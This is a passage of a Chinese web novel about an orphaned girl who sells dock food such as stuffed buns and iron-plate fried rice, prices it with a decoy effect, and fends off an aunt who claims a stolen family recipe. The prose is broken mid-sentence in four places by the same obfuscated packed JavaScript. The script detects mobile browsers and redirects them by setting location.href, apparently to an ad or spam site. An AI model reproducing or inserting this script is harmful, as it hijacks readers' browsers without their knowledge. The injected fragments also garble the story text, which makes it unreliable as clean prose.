王山自己也说不上来这是怎么一回事，眼前的林小娘子，瞧着比自家孙女阿鱼的年纪还要小上几分。可就是这么个小姑娘，做事干净利落，头脑也极为灵活，周身仿佛带着一种无形的感染力，让人不自觉就对她生出信任感。王山打从心底里盼着阿鱼能多跟林窈学学，哪怕只是学到一星半点的皮毛，将来嫁人的时候，好歹也有一门手艺傍身。 他这一辈子，历经了风风雨雨，如今别无所求，唯一的心愿就是能将孙女平平安安地养大，给她寻一门好亲事，让她往后的日子顺顺遂遂，再无半点波折。 林窈真诚地夸赞道：“阿鱼姐姐，做的这些馍馍个头匀称，表皮光滑，光是闻着，香味就扑鼻而来，想必是好吃的。” 王小鱼脸颊微微泛红，谦逊地说道：“林小娘子过奖了，我也就是跟着爷爷做了些年头，熟能生巧罢了。倒是林姑娘年纪轻轻，就能想出这么多新奇的吃食，把生意做得如此红火，我和爷爷都佩服得很。” 王山在一旁点头赞同：“是哩，林小娘子，你的本事可不得了。我这孙女从小就和我这个老头子待在一起，性子腼腆，不像你这么有闯劲儿。” 林窈笑着摆摆手，说道：“大爷，阿鱼姐姐，你们可别这么说。我也就是运气好，误打误撞想出了这些新吃法。” 等林窈把两人送走，林诚已经摊子上的物件摆放妥当，摊位前也开始陆陆续续有顾客前来。 今日是馍馍第一次售卖，得先打个样。林窈从篮子里拿出一个馍馍，划开一个大口，两边煎至焦黄，再夹入满满的卤猪下水和炸蛋，随后拿在手里，开始吆喝：“全家福馍馍！走过路过不要错过！一口下去，喷香！”。 一位年轻的码头长工被林窈的声音吸引了过来，目光在各种吃食上扫过，最后落在被撑大了数倍的馍馍上，满脸好奇：“小娘子这就是全家福馍馍？” 林窈一边有条不紊地制作着吃食，一边回答：“是哩！咱们家的全家福套餐，是馍馍夹卤猪下水和炸蛋，一个七文钱。要是您不想要炸蛋，就只需五文；要是不要卤猪下水，那就四文一个。” 小摊前陆陆续续有人停下脚步，林窈继续吆喝介绍：“全家福馍馍是我们家新推出的吃食，馍馍夹着炸得酥脆的鸡蛋和卤得入味的猪下水，再浇上特制卤汁，咬一口，那滋味，丰富得很，香得嘞！大伙来一个尝尝吧！” 小伙听着林窈的描述，不禁咽了咽口水，“听你这么一说，还真挺馋人，那……那我来一个吧。” 林窈手脚麻利，迅速拿起一个馍馍，划开后夹入金黄酥脆的炸蛋，再夹上几块油润的猪下水，最后淋上锅中温热的卤汁，递到小伙手中：“小哥，您拿好，小心烫。” 小伙迫不及待地咬了一大口，丰富的口感在口腔中舒展，炸蛋的酥脆、卤猪下水的醇厚、馍馍的微甜和酱料的卤汁香味完美融合，他眼睛瞪得圆圆的，满是惊喜，“太好吃了！这滋味真是好！” “张大牛，吃什么吃得这么香？”一个穿着短褐、挽着裤腿的年轻汉子走了过来，他看着张大牛手中的馍馍夹炸蛋和卤猪下水，不由得有些好奇。 张大牛一边嚼着，一边说：“李山，你可算来了，快尝尝这个，馍馍夹着炸过的鸡蛋和卤猪下水，我刚吃了一口，滋味实在是好，我从没吃过这么好吃的玩意儿！”说着，他把手中咬了一口的馍馍递向李二狗。 李二狗往后一躲，嫌弃道：“去去去，谁吃你咬过的。小娘子，给我也来一个。” 林窈笑着应道：“好嘞，这位小哥稍等。”说着，又迅速做了一个递过去。 李二狗接过，迫不及待地咬了一口，露出了和张大牛一样的表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094896|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张大牛在一旁看到兄弟这个样子，忍不住打趣道：“怎样？好吃吧？” 李二狗无瑕应答，点了点头，低着头继续吃自己的馍馍。 一旁路过的人被这两人的吃相吸引，三三两两在摊位前停留下来，询问价格。 七文钱一个饼，对在码头辛苦劳作的工人来说，着实不是个小数目。所以，多数人都倾向于选择只加卤猪下水的搭配。毕竟，这和鸡蛋饼一样，都只需四文钱，却能吃到实实在在的肉，相较之下，这样的搭配明显更划算。也正因如此，仅仅一个上午的时间，卤猪下水就被抢购一空，卖得飞快。 还有的人囊中羞涩，选择只加炸蛋，“小娘子可否在馍馍里加上一勺卤汁？” 林窈笑着应道：“当然可以！” 说罢，她迅速又拿起一个馍馍，划开后夹入金黄酥脆的炸蛋，紧接着从卤锅里舀起一勺卤汁，那卤汁色泽浓郁，香料的香气扑鼻，缓缓浇淋在炸蛋上，卤汁顺着炸蛋的纹理渗透下去，很快浸润了整个馍馍内部，一时间香气四溢。“客官，您要的加卤汁的馍馍夹炸蛋。” 林窈本以为，今儿个新添了菜品，本以为怎么也得捱到未时才能把货都清完，哪晓得，刚过午时，摊位上的吃食就已经所剩无几了。她和林诚虽然很是疲惫，却也难掩脸上的兴奋与喜悦，今天可没少赚！ “二姐，吃馍馍！”林崧一边拍着肚皮，一边眼巴巴地望着林窈，那双眼亮晶晶的，满是期待。他在摊子边守了一上午，空气中浓郁香气一个劲儿往鼻子里钻，可他只能眼巴巴看着，一口都尝不到，早就馋得抓心挠肝了。 林窈哭笑不得，从篮子里拿出最后三个馍馍，手脚麻利地做好了三个豪华馍馍，还特意多浇了些卤汁。 三人席地而坐，吃得津津有味，丝毫没有察觉到不远处，有一道充满恶意的目光，正紧紧地盯着他们， 一回到家，林诚就把怀中鼓鼓囊囊的钱袋子倒出来。铜钱倒在桌上，碰撞出清脆悦耳的声响，林窈听到动静，赶忙凑了过来，数了数，“今日比昨日多赚了八十文！” “哇，这么多铜板！”林崧眼睛瞪得溜圆，满是惊喜与兴奋，小手忍不住在铜钱堆里扒拉着。 林窈看着桌上的铜钱，嘴角微微上扬，眼中闪烁着光芒。 她一边手脚麻利地帮忙整理着铜钱，一边兴致勃勃地分析道：“卤猪下水一斤能卖十二文，馍馍进价是一个半文钱。要是只在馍馍里夹卤猪下水，大概用掉一斤卤猪下水能做四个馍馍。而‘全家福’套餐的盈利空间就更大了，馍馍能容纳的馅料有限，做五个‘全家福’馍馍才会用掉一斤卤猪下水。这么算下来，肯定能比以往赚更多的钱。以后‘全家福’卖得越多，咱们的利润就越高。” 林窈心中感慨，果然赚钱是她最好的补药，无论在哪里都能激发她最大的热情。 15. 铁板五花肉炒饭 “你当真看清楚了？”林长寿对胡氏说的话半信半疑。 “我可看得真真儿的！今儿元哥儿要从镇上回来，我想着去码头买条鱼，给他补补身子。结果一到码头，就瞧见那三个小扫把星在摆摊卖吃食，好家伙，生意火爆得很呐！”胡氏一脸神秘地说，”我还听那些船夫说，他们摊子上的卤猪下水用的是祖传的秘方哩！难道是公爹和婆母真的给了他们什么秘方？” 她凑到林长寿跟前，压低声音继续说道：“当家的，你说这事儿怪不怪？以前他们几个小的，干啥啥不行，吃啥啥没够。怎么突然就会做生意了？你是没瞧见那摊子，人挤人，热闹得不行，指不定赚了多少银子呢！” 林长寿眉头紧皱，摸着下巴沉思片刻，缓缓说道：“这事儿确实有些蹊跷。只是家中要是真是有秘方，爹娘又何必过这穷苦日子？爹向来疼我，要说秘方，那也是留给我！哪里轮得到二房那几个扫把星。” 胡氏嘴角一撇，鼻腔里重重地哼出一声，满脸不屑：“嘁，依我看呐，保不齐是他们那个短命的娘生前偷偷藏了不少家底，一直瞒着咱们，没露出半点风声。现在倒好，那几个小崽子瞅准时机，把家底拿出来捣鼓起生意了。当家的，你可长点心，千万别让他们几个小的把这便宜占尽了。想想咱家元哥儿和鸣哥儿，还在镇上累死累活地做工呢，哪能眼睁睁看着他们吃香喝辣！” 林长寿眼神中闪过一丝算计，说道：“容我想想。这事儿不能就这么算了，要是他们真有什么赚钱的门道，我这个做大伯的定然要照拂一二，怎能由着几个孩子胡闹。” 林家大房这边各怀鬼胎，而林家二房的灶房里，却又是另一番景象。林诚和林崧正围在铁板前，看这个形状怪异的板子。 林诚早在妹妹定制这块铁板时，就满心疑惑，只是他觉得妹妹这么做自然有自己自己的道理。直到刚才，妹妹兴致勃勃地宣布要用这块名为“铁板”的东西做饭给大家吃，他实在是想不明白，这么一块板子能做什么。 林崧也一脸好奇，伸手摸了摸那块冰凉的铁板，转头看向姐姐林窈，满是疑惑地问道：“二姐，要做什么好吃的？” 林窈弹了弹林崧头上的小啾啾，“一会你就知道了。” 她先是蹲下身子，熟练地往灶膛里添了些干柴，引燃干草，不一会儿，熊熊火焰就在灶膛里燃烧起来。她将铁板稳稳地架在炉灶上，火焰舔舐着铁板底部。 铁板渐渐有了温度，原本冰凉的表面开始泛出丝丝热气。 林窈把手放在铁板上方一指处，感受温度。确认温度适宜后，她转身走向一旁的菜篮，拎出事先准备好的五花肉和青菜，又从一旁的甑舀出一大碗隔夜米饭。 只见她熟练地将五花肉切成薄片，放在铁板上。五花肉接触铁板的刹那，水气蒸发的声音响起，五花肉的肥油被煸出，油脂开始在铁板上欢快地跳跃，肉香也随之弥漫开来。 林诚和林崧被这突如其来的香气勾得直咽口水，眼睛瞪得大大的，一眨不眨地盯着铁板。 林窈不时用铲子翻动着肉片，等到肉片变得金黄微焦，她把肉片铲到一旁，把青菜扔了上去，青菜在热油的刺激下迅速变软，散发着清新的气息，裹上猪油的青菜显得愈发鲜嫩。 随后，林窈把米饭倒在铁板上，用铲子将米饭压散，与五花肉和青菜充分混合。她又撒上一些盐和调料，继续翻炒，米饭在铁板上不断翻滚，吸收着肉香和菜香，变得无比诱人。 林诚忍不住凑近，深吸一口气说：“这味道也太香了！” 林崧在一旁仰着小脸，脆生生地说道：“二姐，等会儿你可要多给我舀些饭，我要吃得饱饱的，快快长大，以后帮二姐赚好多好多铜板！” 林窈瞧着林崧，这几日小家伙吃得不错，原本苍白的小脸泛起了红润，她不禁失笑道：“一会儿给你的碗装得满满当当，你可得多吃点，快快长大，以后帮二姐赚数不清的银子！赚银子可比铜板带劲！” 赚钱要从小抓起，要赚就赚大钱，铜板不过是这时代最小的货币单位，哪比得上白花花的银子来得实在、来得痛快。 说笑间，铁板五花肉炒饭已经做好了。林窈将炒饭盛到盘子里，红的肉、绿的菜、白的饭，色彩搭配得格外好看。 林诚和林崧迫不及待地拿起碗筷，大口吃了起来。 而林窈，虽然人还坐在椅子上，表面上波澜不惊，但是炒饭吃到嘴里的时候，心里的小人已经兴奋得要捂嘴尖叫。 就是这个味道！ 五花肉煸出来的猪油，带着焦香的油润，充分包裹着米饭，每一口饭都充满了烟火气。片得薄薄的五花肉更是在铁板上被炙烤得酥脆，混入米饭和青菜里，让这碗炒饭的口感变得更有层次！更加丰富！ 每一口都让林窈觉得这就是她活着的意义！ 前世，林窈满心都扑在追求苗条身材上，口味也偏好清淡，这样的炒饭，放在那时，她大概会觉得油得有些过分。可如今，生活中鲜少有油水的滋润，这份油润喷香的炒饭入口，简直堪称人间至味，每一口都满是幸福的滋味。 再看她如今这副单薄瘦小的身板，要想调养好，还得多吃多赚钱！ “阿兄，一会我们多蒸些米饭，明日我想做炒饭拿去码头卖。”林窈说道。 林诚正吃得兴起，听到这话，动作一顿，疑惑地看向林窈：“去码头卖？能行吗？这可都是白米做的饭，还有荤油和五花肉，都是顶顶好的食材，要是卖得贵了，怕是没多少人愿意花钱买。” 林窈咽下嘴里的饭，“阿兄，你说得也有理，但是码头长工干一天活，下工后必然是又累又饿的，这个时候，要是能有热气腾腾、实实在在能填饱肚子的吃食，我寻思着，肯定有人愿意掏腰包买的，这生意说不定真能做起来。” “再者，码头上人多得很，我可不打算只做码头长工和船夫们的生意。”林窈调皮地眨了眨眼，“我们想要多赚些银钱，可不能只盯着几文钱的小买卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098867|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。码头上往来的行商、镖师如此多，他们整日里在外奔波忙碌，手头又有些余钱，咱们的铁板五花肉炒饭，风味独特，又能快速饱腹，正好满足他们的需求。” “阿窈说得在理，”林诚也放下碗筷，“我吃着这炒饭，只想着饭好吃，没想到还能这样赚钱。你这脑袋瓜子，就是比大哥灵活。” 吃过晚饭，林窈和林崧就马不停蹄地开始淘米、洗菜，将明日要用的食材都清洗干净。 林窈瞧着日子眼瞅着就入秋了，夜里的风也带上了丝丝凉意，心想这时候再卖冷饮，怕是不合时宜了，之前的饮子就不打算再熬了。 她一边切着五花肉，一边跟林诚商量着定价：“阿兄，炒饭定价十文一份如何？” 林诚停下手中擦拭铁板的动作，眉头微微皱起，神色有些犹豫，“十文钱一份饭，这价格着实不低。虽说我们用的都是实打实的好食材，可我就怕这价钱，会把不少食客都给吓跑。” 林窈听到林诚这个本地土著这么说，心里清楚得再斟酌一下价格。她略作思索，很快又有了主意，说道：“要不咱们把饭分个大、中、小份来卖。大份十文，中份八文，小份三文。这样不同食量和预算的人，都能有合适的选择。”一边说着，她一边手脚麻利地找来一个碗，依次比划着展示大、中、小三种不同分量，让林诚能更直观地理解。 从消费心理来看，若只是单一售卖十文一份的产品，顾客难免会觉得价格偏高。但若设计三个档位，缩小大份与中份之间的价格差，再适当拉大中小份的价格差，就能巧妙引导顾客的消费决策。如此一来，顾客在比较时会发现，中份和大份仅差两文钱，可份量却能多上不少，自然会觉得大份性价比更高，从而更倾向于购买大份产品①。 当大份爆米花定价30元，小份定价20元时，多数消费者会倾向于选择小份，毕竟价格更为亲民。然而，一旦在二者之间增设一个定价28元的中份，情况就截然不同了。消费者在对比中会发现，只需多花2元，就能从中份升级为大份，瞬间觉得30元的大份爆米花性价比更高，显得格外划算。这里，中份爆米花就如同精心设置的“诱饵”，悄然发挥着作用。这种“诱饵效应”会让人们对两个不相上下的选项进行选择的时候，觉得旧选项更划算，更具有吸引力②。 林窈用通俗易懂的话和林诚解释了一遍，“这么一说，似乎我也更愿意买十文钱的炒饭。”林诚恍然大悟。 “而且，炒饭怕是许多人都未曾吃过，三文钱的小份既能让囊中羞涩的人买得起，也能让一些不放心味道的人尝尝鲜。”林窈说道。 “阿窈你这脑子转得可真快，就按你说的办！”林诚连连点头。 林崧在一旁也跟着点头，“就按二姐说的办！” 林窈看着他小大人的样子，只觉得又可爱又好笑，挠了挠他的下巴，“你这个小家伙也听懂了？” 林崧嬉笑着跑开了，“我听懂了，听懂了，二姐要赚大钱！” 16. 闹事 少了两大桶紫苏饮，三人在路上走得快了许多，出摊的时间也早了不少。 三人刚到码头，摊位前就来了位熟客，“小娘子今日怎么没带饮子了？”许之珩摇着扇子问道。 林窈抬头一看，是那位书生。 这位书生今日穿了一身粉色的长袍，看着比上回花枝招展的样子素净了许多，只是这个颜色，有点显黑。 林窈收回思绪：“公子，这天气渐凉，这饮子不太适合再卖了。不过我新琢磨出个吃食——铁板五花肉炒饭，味道可香了，您要不要尝尝？”说着，林窈指了指一旁擦得锃亮的铁板和准备好的食材。 “这倒是可惜了，家中小儿甚是喜欢娘子这儿的饮子，”许之珩微微皱眉，语气中带着一丝遗憾，“上次喝了嚷着还要。” 林窈面露歉意，“实在对不住，待来年夏日，我必定精心备下多种口味的饮子，保管让公子满意。今日公子不妨尝尝小店的铁板炒饭，火候独到，滋味别具一格。” 许之珩挑眉，眼中闪过一丝好奇：“铁板炒饭？” 林窈见状，立刻热情介绍起来：“许公子，这炒饭用的可是上好的猪五花和白米，再加上自家熬的猪油，用这铁板炒制，最大限度激发五花肉与米饭的香气。而且我们有大份、中份和小份，小份三文钱，中份八文钱，大份只需十文钱，您可以来个小份尝尝鲜，要是觉得好吃，下次再来个大份也不迟。” “小娘子的手艺我早已尝过，自然信得过。”许之珩微微一笑，目光在三种不同分量的炒饭定价上扫过，“给我来两份大份炒饭，再来两斤卤猪下水和两个‘全家福’馍馍，都送来隔壁粥铺吧。” 说罢，许之珩带着金玉在粥铺坐下，要了两碗鱼粥，一边吃一边等。 林窈听到许之珩点了一个又一个菜，面上的笑容越来越真诚，心里更是乐开了花。 今天这人真是大方，一顿饭就花了六十文，她立刻手脚麻利地开始准备，铁板上再度响起“滋滋”的诱人声响，五花肉在铁板上迅速变色，散发出浓郁的香气。 与此同时，林诚也赶忙去准备卤猪下水和“全家福”馍馍。 林窈熟练地翻炒着米饭，不一会儿，两份热气腾腾的大份炒饭就出锅了。林崧接过一大碗炒饭，跟在姐姐后面把饭送到了粥铺。 粥铺里，不少食客的目光被林崧端来的食物吸引。 “这米饭看着真香啊！”一个年轻小伙忍不住问道。 许之珩大声说道：“这是隔壁新出的铁板五花肉炒饭，还有卤猪下水和‘全家福’馍馍，这炒饭用的是上好的猪五花和白米，搭配猪油，那叫一个香！”他打开其中一份炒饭，瞬间，香气弥漫开来。 接着，他又夹起一块卤猪下水，“这卤猪下水也是美味至极，猪下水处理得干干净净，卤味醇厚，咬起来嚼劲十足。还有这‘全家福’馍馍，料多味美，有卤肉、炸鸡蛋，还有这秘制卤汁，一口咬下去，满满当当，我从没吃过这么好吃的卤肉！”说者就夹了一筷子卤猪下水送进嘴里，一脸陶醉。 一位上了年纪的大爷忍不住说道：“听你这么一说，老夫也想尝尝了。” 旁边的大嫂也附和：“是啊，看着就好吃，我也给家里人带点回去。” 众人你一言我一语，小摊前点五花肉炒饭的人越来越多。 骤然增多的客人，让林窈瞬间忙碌起来。原本她都已经准备好，要费一番口舌推销五花肉炒饭，现在还不到半个时辰，锅里的米饭便已见了底。 林窈满心狐疑。这人此前不过来买过几次吃食，虽说每次购置的量都不小，可向来都是买完便匆匆离去。今日却在隔壁坐下了，还大张旗鼓地夸赞他们的吃食，这般行径，实在是透着说不出的怪异。 不过她一向的行事风格，就是想不明白的事情就不想，反正只是夸自家的菜好吃，对他们是百利而无一害。 林窈收回目光，继续专注于炒饭。手中铲子上下翻飞，仿若要抡出火星子来。今日的情形大大出乎她的意料，买大份炒饭的人竟格外多。 原来，不少人两两结伴合买大份，如此一来，平摊下来，每人仅花五文钱，便能买到半份大份的量。这分量比小份多，价钱又比中份实惠，自然引来更多的人选择。 摊子上的吃食售罄，兄妹三人收拾妥当，正准备回家的时候，一个尖锐的女声在他们耳边响起，“各位父老乡亲，都来看看啊，这三兄妹竟是偷偷拿了家中的秘方出来摆摊，真是忤逆不孝啊。” 众人循声望去，只见一个身材臃肿、面容刻薄的中年妇人正气势汹汹地走来，她手指着林窈兄妹，脸上写满了愤怒与不满。 林窈心中一惊，她认出这是林家大房的胡氏，平日里就喜欢欺负二房，如今不知又要搞出什么名堂。 林窈在决定摆摊的时候，就知道会有这一天，他们不可能一直偷偷摸摸摆摊，只有千日做贼的，哪有千日防贼的，兵来将挡水来土掩便是了。 周围的路人纷纷投来好奇的目光，开始小声议论起来。 “这是怎么回事啊？什么秘方？” “那林家小娘子不是说卤猪下水是用了家中祖传的秘方？难不成真是偷的？” 胡氏见众人的注意力都被吸引过来，越发卖惨，继续大声嚷嚷：“他们家的卤猪下水用的可都是我们林家祖传的秘方，没经过大房同意，就私自拿出来卖，这不是偷是什么？” 林窈皱了皱眉头，正想说话，一旁的林诚就把弟弟妹妹挡在了身后，满脸怒容地说道：“大伯娘，你可别血口喷人！我们早已分家，和你们林家大房毫无关系，你少在这儿颠倒黑白！” 胡氏却佯装心寒：“诚哥儿，你这是说的什么话？你们的卤猪下水用的是林家的祖传秘方，我们不是不让你用，只是这祖宗传下来的东西，你们几个小孩怎么可以私自挪用？你爹娘都没了，无人管教你们，大伯娘今日不得不代你们爹娘教教你们，你们没经过同意就用祖宗留下来的秘方，就是偷！” 林诚听出胡氏明里暗里都在骂他们爹娘，顿时怒火中烧，紧握的拳头微微颤抖。 林窈拦住了林诚，狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110176|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠掐了一把自己的大腿，痛得眼泪直冒，“大伯娘，你为何直戳我们痛楚，我们是没爹没娘的孩子，可槐花家村谁人不知，我爹是代大伯从军这才下落不明，消息传回来村的第二日，我们二房就被分了出来，这些官府都有备案。” 她声泪涕下，一旁的林崧也跟着哭，看着好不可怜，“分家后，我娘一个人苦苦拉扯我们三人，若大伯娘真如此心系我们一家，为何在我娘病重时，我们只是求大伯娘给点米汤，大伯娘都不愿开门？我娘死前，连一顿饱饭都没吃上啊！” “我承认，是我骗了各位乡亲，这不是林家祖传秘方，只是这也确实是秘方所制。” 林窈狠狠摸了一把眼泪，接着说道，“我们三兄妹去安葬我娘时，遇到了一位云游的老道士。当时我们又饿又累，老道士看我们可怜，便给了一个锦囊我们，说这里面有让我们活下去的方法。我们这才按照老道士的方子做了卤猪下水，有了今天的生意。我们本本分分，靠自己的双手赚钱，没有偷没有抢，大伯娘为何要如此污蔑我们？难不成真的要逼死我们吗？” 胡氏啐了一口，“你这克死爹娘的丧门星，你说什么就是什么了吗？还老道士赠予配方，你有这个福分吗？” 林崧突然像一个小炮弹一样冲了出去，哭嚎着：“不准你骂我二姐，不准你骂我二姐，我爹没死，他还在找回家的路！” 胡氏看到林崧要往自己这边来，抬起手就想把他推开。 一旁的王大爷眼疾手快，把林崧抓住了。 他听到动静后就跑了过来，怕林家兄妹吃亏，一直站在吃食摊子旁边。 林崧抽噎不停，王大爷担心这小孩哭撅过去，一边拍林崧的背，一边说，“你这人真是好狠的心，这是要把这几个孩子往死路上逼啊。” 当今之时，许多人家都有因兵役、徭役被征调后，便音信全无之人，更有甚者，不幸客死他乡。林诚三兄妹的遭遇，触动了不少人深埋心底的伤心往事，令人悲从中来。 人群中一位中年汉子眼眶泛红，大声说道：“这几个孩子太不容易了，自己讨生活，还要这样被人欺负。” 林窈平复了一下情绪，说道：“既然大伯娘坚持说是林家的秘方，那我们就去见官。” 一旁的李大娘早就瞧不下去了，忍不住开口斥责：“我说你这人，莫不是见不得别人好？眼瞅着这三个孩子靠本事赚了点辛苦钱，就红了眼，想来强夺秘方？还大言不惭说是你们林家的秘方，真有这底气，那就别在这儿撒泼，干脆随叶小娘子去见官，让官府给评评理！” 古代秘方极其珍贵，一个秘方就可以让一个小家族代代相传，作为立家之本，所以偷秘方这种事情并不是小事。 林窈知道，如果今天不把这件事弄清楚，他们的生意可能就做不下去了。 在这个时代，官府象征着不容置疑的权威。林窈提出去官府理论，意在表明自己心底毫无愧疚，行事磊落坦荡。不管今日这场纠纷最终是否真的闹到官府，单是这主动求诸公断的态度，便足以彰显他们的清白。 17. 拔丝地瓜 “简直胡闹！家事上什么公堂，我们自家人关起门来解决就可以了，你这孩子真是不懂事！”胡氏见这一招不行，立刻换了副痛心疾首的模样，她抬手捂住心口，“阿窈啊，你怎么就不明白伯娘的苦心呢。你这一闹，传出去让外人看了笑话，咱们家的脸往哪儿搁？” “这可不是小事，谁知道关起门来，大伯娘又要使出什么手段来欺压我们，怕是铁了心要把我们的生计之路彻底堵死，让我们连个摆摊糊口的营生都做不下去！”林窈毫不退让，“今天必须在官府把事情说清楚，还我们一个清白。” 李大娘也在一旁附和：“对，不能就这么算了，必须让官府主持公道！” 许之珩在一旁看了许久的戏，角度正好，把林窈在大腿上使劲拧了一下的动作看得一清二楚，他悠悠开口：“林小娘子若要报官，在下可为小娘子写诉状。只盼小娘子念在这份情分上，往后在吃食价钱上，能多给在下些惠利，权当是笔墨酬谢了。” 胡氏见众人似乎真的要带她去见官，心中焦急，脸上一阵白一阵红，眼神游移不定，“这……怎可贸然惊动官府？都是误会，只是家中小辈不懂事，不敢烦扰县令大人。我这便归家，将此事原原本本禀明家中长辈，由他们定夺，无需劳烦外人。” 说完胡氏头也不回地走了，慌乱中还险些崴脚。 望着胡氏那落荒而逃的背影，林窈紧绷的神经终于松懈下来，长舒了一口气。她满含感激地环顾四周，对着在场的父老乡亲们行了一礼，“今日，多谢各位父老乡亲仗义执言，若不是有大家帮衬，我们兄妹三人怕是难以讨回这份公道。为表我们兄妹的感激之情，明日，我们摊子上的所有吃食，一律让利一文钱！往后，也盼大家能常来光顾，多多照拂我们兄妹一二。” 方才挺身而出帮忙说话的大叔，满脸笑意，“小娘子这般大方，实在难得！” 待众人逐渐散去，林窈转身面向许之珩，郑重地行了一礼，她转身向许之珩行了一礼，“今日承蒙公子相助，虽说最终未能前往官府，可公子这份古道热肠的情义，我兄妹三人铭记于心。往后，公子但凡光顾我家摊子，购买吃食一概让价两成，还望公子切莫推辞，权当是我兄妹聊表谢意。” 对于他们这样本就薄利经营的小商贩而言，让价两成，着实是拿出了十足的诚意。“小娘子果然豪爽大气！在下姓许，名之珩，常来光顾，也算半个熟客了。若不嫌弃，往后小娘子唤我一声许大哥便是。” 林窈继承了原主的记忆，其中不乏男女大防的内容。眼前这位许公子，虽说见了几次面，却还算不上熟人。她虽感谢许之珩的相助，但是她直觉还是觉得这个人身上有太多谜团，她只想苟着赚钱，不想被卷入任何风波里。 她佯装懵懂，说道：“不行不行，娘亲讲过，要称读书人为公子，读书人学问大，最是厉害。我们只是乡下的泥腿子，对读书人，得怀着敬重之心呢。” 许之珩就这么静静欣赏她装模作样，倒也没有强求，“无妨，不过一个称呼罢了，小娘子喜欢怎么叫，便怎么叫。” 马车里，金玉有点疑惑，“郎君今日为何要帮那小娘子？” “你可还记得，咱们今日缘何要去码头？”许之珩闭着眼小憩。 “因京中那位来了，咱们唯有主动暴露行迹，方能保其他各处不被察觉。”金玉回答道。 “那在你眼中，你家郎君于外是何种人物？”许之珩不紧不慢，继续发问。 “酒囊饭袋。”金玉如实说道。 许之珩睁开了眼睛，“码头人多眼杂，我故意在众人面前帮那小娘子，末了还与那小娘子搭话，便是要让他觉得我不过是个随性而为、见色起意的纨绔子弟。” 金玉恍然大悟，“郎君心思缜密，是金玉愚钝了。” 许之珩忍不住拿折扇拍了拍他的脑袋，“你什么时候才能学聪明点。” 金玉有点委屈，拿起小桌上的果子就开始吃，“郎君又不是不知，我向来只擅拳脚功夫。平日里，不还有满堂在旁出谋划策嘛。我呀，只要能护得郎君周全，便也算尽了本分。” 许之珩摇了摇头，又闭上了眼睛。 在清泉镇最大的客栈里，两个中年男人执棋对坐，一个穿着黑衣劲装的暗卫候在棋盘旁。 赵礼微微欠身，脸上带着一抹轻蔑的笑意，向身旁的吴申说道：“吴大人，您有所不知，那许家的小儿在京城之中，可是出了名的草包。平日里就只知贪吃好色，行事做派与那市井市侩之徒毫无二致。您瞧瞧，今日竟还为了几个贱民强出头。依下官看呐，许将军将他赶回祖地，想必也是眼不见为净，省得在跟前碍眼，丢了许家的颜面。” 吴申在棋盘上落下一子，微微抬眸，目光中透着几分审慎，看向赵礼，不疾不徐地开口，“赵大人对许家倒是熟悉。怕是也不会不知，许夫人对自家这个小儿子，捧在手心怕摔了，含在嘴里怕化了，而许将军呢，在夫人跟前向来是温顺如羔羊，惧内之名在京城传得沸沸扬扬。这般情形下，仅仅因为小儿在京城惹出那么一件事，就将他匆匆赶回祖地，细细想来，实在是不合常理，依我看，其中必定另有隐情。” 赵礼不以为意，放下手中的棋子，“依在下之见，这年轻人为博花魁青睐，一掷千金，此等行径在市井之中倒也屡见不鲜。只是，他竟为了那风尘女子，与三皇子当庭起了争执，甚至大打出手，这般莽撞之举，实在是有辱皇家威严。许将军将他赶回祖地，令其闭门反省，说到底，也是顾念父子情分，意在保全他，免得他在这京城之中，因一时冲动，犯下不可挽回的大错，丢了性命。” 吴申拿起茶杯，目光飘向窗外，没有再说话。 ~ 林窈决定做一道拔丝地瓜，安慰一下受惊的林崧，也让自己的心情好些，毕竟甜食最能抚慰人心。 “阿窈，咱家里还有些白米，这地瓜就让大哥留着，上山打猎时带着吃。”林诚心疼弟弟妹妹今日被人欺负，更是不想让他们吃着粗粮。 “我今日做个新菜给阿兄与阿弟吃，这地瓜换个做法就是绝顶美味。”林窈兴致勃勃地说。 地瓜是个好东西，有很强的适应性，耐旱、耐瘠薄，对土壤要求不高①，在哪都能活，粮食收成不好的年份，或者赋税增加的时候，地瓜可以替代主食，所以是古代很常见的食物。 林诚从小没少吃地瓜，已经吃得麻木了，不过经过这段时日，他对妹妹的厨艺是无条件信任，也就由着她折腾。 林诚干劲十足，炒饭卖得好，得煮上多多的米，明天才能赚多多的铜板。 林窈把地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 